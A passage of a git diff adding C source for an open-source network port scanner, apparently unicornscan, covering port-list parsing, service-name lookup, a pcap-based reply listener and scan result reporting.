+ if (low > 0xffff) { + xfree(data); + xfree(string); + ERR("port out of range"); + + return -1; + } + num_ports++; + } + else { + xfree(data); + xfree(string); + ERR("cannot parse port string `%s'", input); + + return -1; + } + } + + xfree(data); + + if (total_ports != NULL) { + *total_ports=num_ports; + xfree(string); + + return 1; + } + + ports=(int32_t *)xmalloc((num_ports + 1) * sizeof(int32_t)); /* GLOBAL */ + port_index=0; + + data=xstrdup(string); + + for (dtok=strtok_r(data, ",", &st1); dtok != NULL; dtok=strtok_r(NULL, ",", &st1)) { + if (sscanf(dtok, "%u-%u", &low, &high) == 2) { + unsigned int indx=0; + + if (low > high) { + SWAP(low, high); + } + + if (low > 0xffff || high > 0xffff) { + PANIC("heap corrupt?"); + } + for (indx=low; indx < (high + 1); indx++) { + ports[port_index++]=indx; + } + } + else if (sscanf(dtok, "%u", &low) == 1) { + + if (low > 0xffff) { + PANIC("heap corrupt?"); + } + + ports[port_index++]=low; + + } + else { + PANIC("heap corrupt?"); + } + + } + + ports[port_index]=-1; + + if (ISDBG(M_PRT)) { + int j=0; + + for (j=0; ports[j] != -1; j++) { + DBG(M_PRT, "port in list %d", ports[j]); + } + } + + xfree(data); + xfree(string); + + user_index=&ports[0]; + + return 1; +} + +char *getservname(uint16_t port) { + union { + struct { + uint32_t proto; + uint32_t port; + } s; + uint64_t key; + } key_u; + char tmpstr[256]; + int sport=0; + uint8_t proto=0; + static FILE *uniservices=NULL; + static char _name[64]; + static void *sncache=NULL; + + if (s->ss->mode == MODE_UDPSCAN) { + proto=17; + } + else if (s->ss->mode == MODE_TCPSCAN) { + proto=6; + } + else { + DBG(M_PRT, "not tcp or udp, but `%d' this isnt going to work", s->ss->mode); + strcpy(_name, "unknown"); + return &_name[0]; + } + + if (sncache == NULL) { + sncache=rbinit(111); + } + else { + union { + char *str; + void *p; + } s_u; + + key_u.s.proto=proto; + key_u.s.port=port; + + if (rbfind(sncache, key_u.key, &s_u.p) == 1) { + assert(s_u.str != NULL); + return s_u.str; + } + } + + if (uniservices == NULL) { + DBG(M_PRT, "opening `%s' for port names", PORT_NUMBERS); + + uniservices=fopen(PORT_NUMBERS, "r"); + if (uniservices == NULL) { + sprintf(_name, "error"); + + return _name; + } + } + else { + rewind(uniservices); + } + + while (fgets(tmpstr, sizeof(tmpstr) -1, uniservices) != NULL) { + if (tmpstr[0] == '#') { + continue; + } + + switch (proto) { + case 17: + if (sscanf(tmpstr, "%63s %d/udp", _name, &sport) == 2) { + if (port == sport) { + goto cacheit; + } + } + break; + case 6: + if (sscanf(tmpstr, "%63s %d/tcp", _name, &sport) == 2) { + if (port == sport) { + goto cacheit; + } + } + break; + + default: + DBG(M_PRT, "ignoring line `%s'", tmpstr); + break; + } + } + + strcpy(_name, "unknown"); + +cacheit: + + DBG(M_PRT, "caching name %s for proto %u and port %u", _name, proto, port); + + if (rbinsert(sncache, key_u.key, xstrdup(_name)) != 1) { + ERR("cant cache!"); + return _name; + } + + return _name; +} + +char *getouiname(uint8_t a, uint8_t b, uint8_t c) { + char tmpstr[256]; + static FILE *ouiconf=NULL; + static char oui_name[64]; + + /* this is slow and bad, but its not critical so here it is */ + + if (ouiconf == NULL) { + DBG(M_PRT, "opening `%s' for oui names", OUI_CONF); + ouiconf=fopen(OUI_CONF, "r"); + if (ouiconf == NULL) { + strcpy(oui_name, "error"); + + return oui_name; + } + } + else { + rewind(ouiconf); + } + + while (fgets(tmpstr, sizeof(tmpstr) -1, ouiconf) != NULL) { + unsigned int fa=0, fb=0, fc=0; + if (tmpstr[0] == '#') { + continue; + } + + memset(oui_name, 0, sizeof(oui_name)); + + sscanf(tmpstr, "%x-%x-%x:%63[^\n]", &fa, &fb, &fc, oui_name); + if ((uint8_t)fa == a && (uint8_t)fb == b && (uint8_t)fc == c) { + return oui_name; + } + } + + strcat(oui_name, "unknown"); + + return oui_name; +} diff --git a/src/scan_progs/portfunc.h b/src/scan_progs/portfunc.h new file mode 100644 index 0000000..e2c2af5 --- /dev/null +++ b/src/scan_progs/portfunc.h @@ -0,0 +1,30 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PORTFUNC_H +# define _PORTFUNC_H + +void init_portsquick(void); +void reset_getnextport(void); +void shuffle_ports(void); +int get_nextport(int32_t *); +int parse_pstr(const char *, uint32_t * /* if not null only calculate number of ports couted and exit */); +char *getservname(uint16_t ); +char *getouiname(uint8_t , uint8_t, uint8_t ); + +#endif diff --git a/src/scan_progs/recv_packet.c b/src/scan_progs/recv_packet.c new file mode 100644 index 0000000..334dfdc --- /dev/null +++ b/src/scan_progs/recv_packet.c @@ -0,0 +1,604 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define UDP_PFILTER "udp" +#define UDP_EFILTER "or icmp" + +/* +#define TCP_PFILTER "tcp and (tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack))" +#define TCP_EFILTER "or icmp or (tcp[tcpflags] & (tcp-ack|tcp-rst) == (tcp-ack|tcp-rst))" +*/ +#define TCP_PFILTER "tcp" +#define TCP_EFILTER "or icmp" + +#define ARP_PFILTER "arp" + +#define FRAG_MASK 0x1fff + +static int lc_s; +static char *get_pcapfilterstr(void); +static void drain_pqueue(void); +static void extract_pcapfilter(const uint8_t *, size_t); + +pcap_dumper_t *pdump; +static pcap_t *pdev; +static int pcap_fd; + + +void *r_queue=NULL, *p_queue=NULL; + +void recv_packet(void) { + char errbuf[PCAP_ERRBUF_SIZE], *pfilter=NULL; + struct bpf_program filter; + bpf_u_int32 net, mask; + int ac_s=0, ret=0, worktodo=1; + uint8_t msg_type=0, status=0, *ptr=NULL; + size_t msg_len=0; + xpoll_t spdf[2]; + union { + recv_workunit_t *r; + uint8_t *cr; + uint32_t *magic; + } wk_u; + union { + listener_info_t *l; + uint8_t *ptr; + } l_u; + union { + drone_version_t *v; + uint8_t *ptr; + } d_u; + drone_version_t dv; + struct pcap_stat pcs; + + r_queue=fifo_init(); + + close_output_modules(); + close_report_modules(); + close_payload_modules(); + + DBG(M_IPC, "creating server socket"); + + memset(s->ss, 0, sizeof(scan_settings_t)); + + memset(&dv, 0, sizeof(dv)); + d_u.v=&dv; + dv.magic=DRONE_MAGIC; + dv.maj=DRONE_MAJ; + dv.min=DRONE_MIN; + recv_stats_t recv_stats; + + /* heh */ + if ((ac_s=socktrans_bind(s->ipcuri)) < 0) { + terminate("cant create listener socket"); + } + + DBG(M_IPC, "waiting for main to connect"); + + parent_sync(); + + lc_s=socktrans_accept(ac_s, DEF_SOCK_TIMEOUT); + if (lc_s < 0) { + terminate("main didnt connect, exiting"); + } + + DBG(M_IPC, "got connection"); + + if (get_singlemessage(lc_s, &msg_type, &status, &ptr, &msg_len) != 1) { + terminate("unexpected sequence of messages from parent waiting for ident request, exiting"); + } + + if (msg_type != MSG_IDENT || status != MSG_STATUS_OK) { + ERR("got an unknown message type `%s' or bad status %d from parent, exiting", strmsgtype(msg_type), status); + } + + if (send_message(lc_s, MSG_IDENTLISTENER, MSG_STATUS_OK, d_u.ptr, sizeof(drone_version_t)) < 0) { + terminate("cant send back msgident to parent"); + } + + if (get_singlemessage(lc_s, &msg_type, &status, &ptr, &msg_len) != 1) { + terminate("cant read ident ack message from parent, exiting"); + } + if (msg_type != MSG_ACK || status != MSG_STATUS_OK) { + ERR("got an unknown message type `%s' or bad status %d from parent, exiting", strmsgtype(msg_type), status); + } + + DBG(M_IPC, "sending ready message to parent"); + + l_u.l=(listener_info_t *)xmalloc(sizeof(listener_info_t)); + + memcpy(&l_u.l->myaddr, &s->vi[0]->myaddr, sizeof(struct sockaddr_storage)); + memcpy(&l_u.l->mymask, &s->vi[0]->mymask, sizeof(struct sockaddr_storage)); + memcpy(l_u.l->hwaddr, s->vi[0]->hwaddr, THE_ONLY_SUPPORTED_HWADDR_LEN); + l_u.l->mtu=s->vi[0]->mtu; + + assert(s->interface_str != NULL); + + if (pcap_lookupnet(s->interface_str, &net, &mask, errbuf) < 0) { + ERR("pcap_lookupnet fails, ignoring: %s", errbuf); + } + + if (s->pcap_readfile == NULL) { + pdev=pcap_open_live(s->interface_str, /* XXX haha */ s->vi[0]->mtu + 64, (GET_PROMISC() ? 1 : 0), 0, errbuf); + if (pdev == NULL) { + ERR("pcap open live: %s", errbuf); + + DBG(M_IPC, "sending ready error message to parent"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("cant send message ready error"); + } + terminate("informed parent, exiting"); + } + } + else { + pdev=pcap_open_offline(s->pcap_readfile, errbuf); + if (pdev == NULL) { + ERR("pcap open offline: %s", errbuf); + + DBG(M_IPC, "sending ready error message to parent"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("cant send message ready error"); + } + terminate("informed parent, exiting"); + } + } + + ret=util_getheadersize(pdev, errbuf); + if (ret < 0 || ret > 0xffff) { + ERR("error getting link header size: %s", errbuf); + + DBG(M_IPC, "sending ready error message to parent"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("cant send message ready error"); + } + terminate("informed parent, exiting"); + } + s->ss->header_len=(uint16_t)ret; + + if (s->pcap_dumpfile != NULL) { + VRB(0, "opening `%s' for pcap log", s->pcap_dumpfile); + pdump=pcap_dump_open(pdev, s->pcap_dumpfile); + if (pdump == NULL) { + ERR("cant log to pcap file `%s'", pcap_geterr(pdev)); + + DBG(M_IPC, "sending ready error message to parent"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("cant send message ready error"); + } + terminate("informed parent, exiting"); + } + } + else { + DBG(M_CLD, "not logging to pcap file"); + } + + if (util_preparepcap(pdev, errbuf) < 0) { + ERR("cant setup pcap filedesc to immediate mode: %s", errbuf); + + DBG(M_IPC, "sending ready error message to parent"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("cant send message ready error"); + } + terminate("informed parent, exiting"); + } + + /* pcap_fd will be -1 for a pcap file */ + pcap_fd=pcap_get_selectable_fd(pdev); + + if (pcap_fd < 0 && s->pcap_readfile == NULL) { + ERR("cant get selectable fd from pcap device, exiting"); + + DBG(M_IPC, "sending ready error message to parent"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("sant send message ready error"); + } + terminate("informed parent, exiting"); + } + +#ifdef PCAP_D_IN + if (pcap_setdirection(pdev, PCAP_D_IN) < 0) { + ERR("cant set pcap direction to in, exiting"); + + DBG(M_IPC, "sending ready error message to parent"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("sant send message ready error"); + } + terminate("informed parent, exiting"); + } +#endif + + DBG(M_CLD, "listener dropping privs"); + + if (drop_privs() < 0) { + terminate("cant drop privs"); + } + + if (send_message(lc_s, MSG_READY, MSG_STATUS_OK, l_u.ptr, sizeof(listener_info_t)) < 0) { + terminate("cant send message ready"); + } + + xfree(l_u.l); + + /* XXX */ + s->ss->syn_key=0; + + do { + if (get_singlemessage(lc_s, &msg_type, &status, &wk_u.cr, &msg_len) != 1) { + terminate("unexpected sequence of messages from parent looking for a workunit"); + } + + if (status != MSG_STATUS_OK) { + terminate("bad message status %u", status); + } + + if (msg_type == MSG_QUIT) { + worktodo=0; + break; + } + else if (msg_type == MSG_WORKUNIT) { + ; + } + else { + terminate("unexpected message, expecting workunit or quit message"); + } + + if (msg_len < sizeof(uint32_t)) { + terminate("bad message, too short [" STFMT "]", msg_len); + } + + if (msg_len < sizeof(recv_workunit_t)) { + terminate("short workunit"); + } + + worktodo=1; + + DBG(M_WRK, "workunit `%s'", strworkunit(wk_u.cr, msg_len)); + + s->ss->recv_timeout=wk_u.r->recv_timeout; + s->ss->ret_layers=wk_u.r->ret_layers; + s->recv_opts=wk_u.r->recv_opts; + s->ss->window_size=wk_u.r->window_size; + + s->ss->syn_key=wk_u.r->syn_key; + + if (wk_u.r->pcap_len) { + if ((msg_len - sizeof(recv_workunit_t)) == wk_u.r->pcap_len) { + extract_pcapfilter(wk_u.cr + sizeof(recv_workunit_t), wk_u.r->pcap_len); + } + else { + terminate("pcap option length illegal"); + } + } + + switch (*wk_u.magic) { + case UDP_RECV_MAGIC: + s->ss->mode=MODE_UDPSCAN; + break; + + case TCP_RECV_MAGIC: + s->ss->mode=MODE_TCPSCAN; + break; + + case ARP_RECV_MAGIC: + s->ss->mode=MODE_ARPSCAN; + break; + + default: + terminate("unknown recv workunit type"); + break; + } + + DBG(M_IPC, "from ipc, got workunit: %s", strworkunit((const void *)wk_u.cr, msg_len)); + + if (s->ss->mode == MODE_ARPSCAN) { + if (s->ss->header_len != 14) { + + DBG(M_IPC, "sending msg error"); + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + terminate("cant send message ready"); + } + terminate("wrong linktype for arp scan"); + } + } + + if (s->ss->ret_layers > 0) { + DBG(M_CLD, "setting up packet queue"); + p_queue=fifo_init(); + } + + pfilter=get_pcapfilterstr(); + + VRB(1, "using pcap filter: `%s'", pfilter); + + memset(&filter, 0, sizeof(filter)); + if (pcap_compile(pdev, &filter, pfilter, 0, net) < 0) { + ERR("error compiling filter: %s", pcap_geterr(pdev)); + + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + ERR("cant send message ready error"); + } + terminate("cant compile pcap filter"); + } + + if (pcap_setfilter(pdev, &filter) < 0) { + ERR("error setting compiled filter: %s", pcap_geterr(pdev)); + + if (send_message(lc_s, MSG_READY, MSG_STATUS_ERROR, NULL, 0) < 0) { + ERR("cant send message ready error"); + } + terminate("cant set compiled pcap filter"); + } + + pcap_freecode(&filter); + + if (s->ss->ret_layers > 0) { + DBG(M_IPC, "returning whole packet via ipc"); + } + + DBG(M_IPC, "sending ready message to parent"); + + if (pcap_setnonblock(pdev, 1, errbuf) < 0) { + terminate("cant set pcap non-blocking mode"); + } + + if (send_message(lc_s, MSG_READY, MSG_STATUS_OK, NULL, 0) < 0) { + terminate("cant send message ready"); + } + + while (1) { + spdf[0].fd=lc_s; + spdf[1].fd=pcap_fd; + + /* if pdev is a socket ( ! -1 ) */ + if (xpoll(&spdf[0], 2, -1) < 0) { + ERR("xpoll fails: %s", strerror(errno)); + } + + if (spdf[1].rw & XPOLL_READABLE) { + pcap_dispatch(pdev, 1, parse_packet, NULL); + } + + /* no packets, better drain the queue */ + drain_pqueue(); + + if (spdf[0].rw & XPOLL_READABLE) { + if (get_singlemessage(lc_s, &msg_type, &status, &ptr, &msg_len) != 1) { + ERR("unexpected sequence of messages from parent in main read loop, exiting"); + worktodo=0; + break; + } + + if (msg_type == MSG_TERMINATE) { + DBG(M_IPC, "parent wants me to stop listening, breaking"); + break; + } + else if (msg_type == MSG_QUIT) { + DBG(M_IPC, "Parent wants me to quit, breaking"); + worktodo=0; + break; + } + else { + ERR("got strange message `%s' from parent, exiting", strmsgtype(msg_type)); + worktodo=0; + break; + } + } + } + + memset(&recv_stats, 0, sizeof(recv_stats)); + + if (pcap_stats(pdev, &pcs) != -1) { + + recv_stats.packets_recv=pcs.ps_recv; + recv_stats.packets_dropped=pcs.ps_drop; + recv_stats.packets_dropped=pcs.ps_ifdrop; + } + + if (send_message(lc_s, MSG_WORKDONE, MSG_STATUS_OK, (void *)&recv_stats, sizeof(recv_stats)) < 0) { + terminate("cant send workdone message to parent, exiting"); + } + + } while (worktodo); + + pcap_close(pdev); + if (s->pcap_dumpfile) { + pcap_dump_close(pdump); + } + + + DBG(M_CLD, "listener exiting"); + + shutdown(lc_s, SHUT_RDWR); + close(lc_s); + + uexit(0); +} + +static char *get_pcapfilterstr(void) { + static char base_filter[128], addr_filter[128], pfilter[512]; + uint32_t foct=0; + + CLEAR(base_filter); CLEAR(addr_filter); CLEAR(pfilter); + + switch (s->ss->mode) { + case MODE_UDPSCAN: + if (GET_WATCHERRORS()) { + snprintf(base_filter, sizeof(base_filter) -1, "%s %s", UDP_PFILTER, UDP_EFILTER); + } + else { + snprintf(base_filter, sizeof(base_filter) -1, "%s", UDP_PFILTER); + } + break; + + case MODE_TCPSCAN: + if (GET_WATCHERRORS()) { + snprintf(base_filter, sizeof(base_filter) -1, "%s %s", TCP_PFILTER, TCP_EFILTER); + } + else { + snprintf(base_filter, sizeof(base_filter) -1, "%s", TCP_PFILTER); + } + break; + + case MODE_ARPSCAN: + snprintf(base_filter, sizeof(base_filter) -1, "%s", ARP_PFILTER); + break; + + default: + terminate("unknown mode"); + break; + } + + if (s->ss->mode == MODE_TCPSCAN || s->ss->mode == MODE_UDPSCAN) { +#if 0 + foct=(htonl(s->vi[0]->myaddr.sin_addr.s_addr) >> 24); + if (foct == 0x7f) { + snprintf(addr_filter, sizeof(addr_filter) -1, "dst %s", s->vi[0]->myaddr_s); + } +#else +# warning FIXTHIS isloopback check +#endif +// else { + snprintf(addr_filter, sizeof(addr_filter) -1, "dst %s and ! src %s", s->vi[0]->myaddr_s, s->vi[0]->myaddr_s); +// } + } + + if (s->ss->mode == MODE_TCPSCAN || s->ss->mode == MODE_UDPSCAN) { + /* XXX multicast */ + if (s->extra_pcapfilter != NULL && strlen(s->extra_pcapfilter)) { + snprintf(pfilter, sizeof(pfilter) -1, "%s and (%s and %s)", addr_filter, base_filter, s->extra_pcapfilter); + } + else { + if (s->pcap_readfile == NULL) { + snprintf(pfilter, sizeof(pfilter) -1, "%s and (%s)", addr_filter, base_filter); + } + else { + /* the pcap tracefile could have someone elses address in it.... */ + snprintf(pfilter, sizeof(pfilter) -1, "%s", base_filter); + } + } + } + else { + snprintf(pfilter, sizeof(pfilter) -1, "%s", base_filter); + } + + return pfilter; +} + +static void drain_pqueue() { + union { + void *ptr; + uint8_t *cr; + uint32_t *r_magic; + } r_u; + size_t r_size=0; + + while ((r_u.ptr=fifo_pop(r_queue)) != NULL) { + if (*r_u.r_magic == IP_REPORT_MAGIC) { + r_size=sizeof(ip_report_t); + } + else if (*r_u.r_magic == ARP_REPORT_MAGIC) { + r_size=sizeof(arp_report_t); + } + else { + PANIC("report size/type unknown [%08x magic]", *r_u.r_magic); + } + + if (s->ss->ret_layers > 0) { + union { + uint16_t *length; + void *data; + uint8_t *inc; + } packet_u; + union { + void *data; + uint8_t *inc; + } nr_u; + uint16_t pk_len=0; + + packet_u.data=fifo_pop(p_queue); + if (packet_u.data == NULL) { + PANIC("packet queue empty, mismatch with report queue"); + } + DBG(M_CLD, "packet length is %u", *packet_u.length); + pk_len=*packet_u.length; + + /* this should be impossible */ + if (pk_len > (uint16_t)s->vi[0]->mtu) { + PANIC("impossible packet length in queue"); + } + + nr_u.data=xmalloc(r_size + pk_len + sizeof(pk_len)); + + memcpy(nr_u.data, (const void *)r_u.ptr, r_size); + memcpy(nr_u.inc + r_size, (const void *)packet_u.data, pk_len + sizeof(pk_len)); + + if (send_message(lc_s, MSG_OUTPUT, MSG_STATUS_OK, nr_u.inc, r_size + pk_len + sizeof(pk_len)) < 0) { + terminate("cant send message output"); + } + + xfree(nr_u.data); + xfree(packet_u.data); + } + else { + if (send_message(lc_s, MSG_OUTPUT, MSG_STATUS_OK, r_u.cr, r_size) < 0) { + terminate("cant send message output"); + } + } + xfree(r_u.ptr); + } /* while we can ipc a packet */ + + return; +} + +static void extract_pcapfilter(const uint8_t *str, size_t len) { + if (s->extra_pcapfilter != NULL) { /* IM A DUAL TIMER IC */ + xfree(s->extra_pcapfilter); + } + + s->extra_pcapfilter=(char *)xmalloc(len + 1); + memcpy(s->extra_pcapfilter, str, len); + s->extra_pcapfilter[len]='\0'; +} diff --git a/src/scan_progs/recv_packet.h b/src/scan_progs/recv_packet.h new file mode 100644 index 0000000..f0f5319 --- /dev/null +++ b/src/scan_progs/recv_packet.h @@ -0,0 +1,24 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _RECV_PACKET_H +# define _RECV_PACKET_H + +void recv_packet(void) _NORETURN_; + +#endif diff --git a/src/scan_progs/report.c b/src/scan_progs/report.c new file mode 100644 index 0000000..823cff0 --- /dev/null +++ b/src/scan_progs/report.c @@ -0,0 +1,896 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#ifdef HAVE_LIBGEOIP +#include + +static GeoIP *gi=NULL; + +#endif + +static void *report_t=NULL; +static int do_report_nodefunc(uint64_t, void *, void *); +static void clean_report_extra(void *); +static char *get_report_extra(ip_report_t *); +static char *fmtcat_ip4addr(int /* dodns */, uint32_t /* addr */); +static char *fmtcat(const char * /* format string */, const void * /* report item */); +static char *strresptype(const ip_report_t *); +static const char *ipproto_tostr(int /* proto */); + +static uint64_t get_ipreport_key(uint32_t /* dhost */, uint16_t /* dport */, uint32_t /* shost */); +static uint64_t get_arpreport_key(uint32_t /* dhost */, uint8_t * /* 6 hwaddr */); + +static void display_report(void *); + +static int port_open (uint8_t /* proto */, uint16_t /* type */, uint16_t /* subtype */); +static int port_closed(uint8_t /* proto */, uint16_t /* type */, uint16_t /* subtype */); + +void report_init(void) { + + report_t=rbinit(123); + +#ifdef HAVE_LIBGEOIP + gi=GeoIP_open(CONF_DIR "/GeoIP.dat", GEOIP_MEMORY_CACHE); + if (gi == NULL) { + ERR("error opening geoip database `%s/%s': %s", CONF_DIR, "/GeoIP.dat", strerror(errno)); + } + +#endif + + return; +} + +void report_do(void) { + +#ifdef HAVE_LIBGEOIP +#endif + + DBG(M_RPT, "formats are ip `%s' imip `%s' arp `%s' imarp `%s', you should see %u results", + s->ip_report_fmt, + s->ip_imreport_fmt, + s->arp_report_fmt, + s->arp_imreport_fmt, + rbsize(report_t) + ); + + rbwalk(report_t, do_report_nodefunc, 1, NULL); + + return; +} + +void report_destroy(void) { + + /* XXX + * rbdestroy(report_t); + */ + + report_t=NULL; + +#ifdef HAVE_LIBGEOIP + if (gi != NULL) { + GeoIP_delete(gi); + } +#endif + + return; +} + +int report_add(void *o, size_t o_len) { + union { + void *ptr; + arp_report_t *a; + ip_report_t *i; + uint32_t *magic; + } o_u; /* output union */ + union { + void *ptr; + arp_report_t *a; + ip_report_t *i; + } oc_u; /* output COPY union, used for inserting */ + struct in_addr ia; + uint64_t rkey=0; + void *dummy=NULL; + char *line=NULL; + + o_u.ptr=o; + + if (report_t == NULL) { + PANIC("cannot add to NULL report structure"); + } + + if (*o_u.magic == IP_REPORT_MAGIC) { + + ia.s_addr=o_u.i->host_addr; + + rkey=get_ipreport_key(o_u.i->host_addr, o_u.i->sport, o_u.i->send_addr); + + if (port_open(o_u.i->proto, o_u.i->type, o_u.i->subtype)) { + + if (rbfind(report_t, rkey, &dummy) != 1) { + + oc_u.ptr=xmalloc(o_len); + memcpy(oc_u.ptr, o_u.ptr, o_len); + rbinsert(report_t, rkey, oc_u.ptr); + + if (GET_IMMEDIATE()) { + line=fmtcat(s->ip_imreport_fmt, o_u.i); + if (line != NULL) { + OUT("%s", line); + xfree(line); + } + } + } + else if (GET_PROCDUPS()) { + union { + void *p; + ip_report_t *r; + } r_u; + ip_report_t *walk=NULL; + + r_u.p=dummy; + + for (walk=r_u.r; walk->next != NULL; walk=walk->next) { + ; + } + walk->next=(ip_report_t *)xmalloc(o_len); + memset(walk->next, 0, o_len); + walk=walk->next; + memcpy(walk, o_u.ptr, o_len); + walk->next=NULL; /* just to be sure */ + + if (GET_IMMEDIATE()) { + line=fmtcat(s->ip_imreport_fmt, o_u.i); + if (line != NULL) { + OUT("%s", line); + xfree(line); + } + } + } + else { + DBG(M_RPT, "ignoring dup port open on %s:%d", inet_ntoa(ia), o_u.i->sport); + } + } + else if (GET_PROCERRORS()) { + + if (rbfind(report_t, rkey, &dummy) != 1) { + + oc_u.ptr=xmalloc(o_len); + memcpy(oc_u.ptr, o_u.ptr, o_len); + rbinsert(report_t, rkey, oc_u.ptr); + + if (GET_IMMEDIATE()) { + line=fmtcat(s->ip_imreport_fmt, o_u.i); + if (line != NULL) { + OUT("%s", line); + xfree(line); + } + } + } + else if (GET_PROCDUPS()) { + union { + void *p; + ip_report_t *r; + } r_u; + ip_report_t *walk=NULL; + + r_u.p=dummy; + + for (walk=r_u.r; walk->next != NULL; walk=walk->next) { + ; + } + walk->next=(ip_report_t *)xmalloc(o_len); + memset(walk->next, 0, o_len); + walk=walk->next; + memcpy(walk, o_u.ptr, o_len); + walk->next=NULL; /* just to be sure */ + + if (GET_IMMEDIATE()) { + line=fmtcat(s->ip_imreport_fmt, o_u.i); + if (line != NULL) { + OUT("%s", line); + xfree(line); + } + } + } + else { + DBG(M_RPT, "ignoring dup error on %s:%d", inet_ntoa(ia), o_u.i->sport); + } + } + } /* IP report */ + else if (*o_u.magic == ARP_REPORT_MAGIC) { + rkey=get_arpreport_key(o_u.a->ipaddr, o_u.a->hwaddr); + + if (rbfind(report_t, rkey, &dummy) != 1) { + + oc_u.ptr=xmalloc(o_len); + memcpy(oc_u.ptr, o_u.ptr, o_len); + rbinsert(report_t, rkey, oc_u.ptr); + + if (GET_IMMEDIATE()) { + line=fmtcat(s->arp_imreport_fmt, o_u.a); + if (line != NULL) { + OUT("%s", line); + xfree(line); + } + } + } + else if (GET_PROCDUPS()) { + ERR("arp duplicates not yet implemented"); + SET_PROCDUPS(0); + } + } + else { + ERR("unknown report format %08x", *o_u.magic); + return -1; + } + + return 1; +} + +static void display_report(void *p) { + union { + void *p; + arp_report_t *a; + ip_report_t *i; + uint32_t *magic; + } r_u; + char *extra=NULL, *line=NULL, *fmt=NULL; + + if (p == NULL) { + PANIC("NULL ip report"); + } + + r_u.p=p; + + if (*r_u.magic == IP_REPORT_MAGIC) { + extra=get_report_extra(r_u.i); + fmt=s->ip_report_fmt; + } + else if (*r_u.magic == ARP_REPORT_MAGIC) { + fmt=s->arp_report_fmt; + } + else { + ERR("unknown report format %08x", *r_u.magic); + return; + } + + line=fmtcat(fmt, p); + if (line != NULL) { + OUT("%s %s", line, extra != NULL ? extra : ""); + xfree(line); + } + + return; +} + +static int do_report_nodefunc(uint64_t rkey, void *ptr, void *cbdata) { + union { + void *ptr; + ip_report_t *ir; + arp_report_t *ar; + uint32_t *magic; + } r_u; + + assert(ptr != NULL); + + r_u.ptr=ptr; + + push_report_modules((const void *)r_u.ptr); /* ADD to it */ + + switch (*r_u.magic) { + case IP_REPORT_MAGIC: + if (GET_DOCONNECT()) { + connect_grabbanners(r_u.ir); /* XXX */ + } + break; + + case ARP_REPORT_MAGIC: + break; + + default: + PANIC("Unknown report format %08x", *r_u.magic); + break; + } + + push_output_modules((const void *)r_u.ptr); /* display it somehow */ + + if ( ! GET_REPORTQUIET()) { + display_report(r_u.ptr); + } + + /* + * now check for chained reports + * should generally only happen if proc dups is set (-c) + */ + if (*r_u.magic == IP_REPORT_MAGIC) { + if (r_u.ir->next != NULL) { + do_report_nodefunc(0, r_u.ir->next, NULL); + } + } + + clean_report_extra(r_u.ptr); + xfree(r_u.ptr); + + return 1; +} + +static void clean_report_extra(void *r) { + union { + ip_report_t *ir; + arp_report_t *ar; + void *ptr; + uint32_t *magic; + } r_u; + union { + void *ptr; + output_data_t *d; + } d_u; + + assert(r != NULL); + + r_u.ptr=r; + + if (*r_u.magic != IP_REPORT_MAGIC || r_u.ir->od_q == NULL) { 